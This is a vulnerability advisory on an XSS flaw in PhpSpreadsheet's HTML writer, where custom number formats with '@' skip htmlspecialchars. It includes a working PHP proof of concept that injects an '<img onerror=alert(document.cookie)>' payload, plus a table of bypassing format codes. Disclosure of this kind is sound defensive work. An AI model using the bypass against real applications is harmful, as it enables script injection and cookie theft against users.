PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer

It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.

The Problem

In Writer/Html.php around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply htmlspecialchars():

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, ...);
}

When a cell has a custom number format containing @ (text placeholder) with any additional literal characters, the formatter replaces @ with the cell value and adds the extra characters. This makes $cellData !== $origData, so htmlspecialchars() is skipped entirely.

Even a single trailing space in the format (@ ) is enough to bypass the escape.

Proof of Concept

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');

$writer = new Html($spreadsheet);
$writer->save('output.html');

The generated HTML contains:

<td>. <img src=x onerror=alert(document.cookie)></td>

The XSS payload is completely unescaped.

Tested Bypass Formats

Format Code	Result	Escaped?
General (default)	Original value	YES (safe)
. @	. + value	NO (XSS!)
@ (trailing space)	value +	NO (XSS!)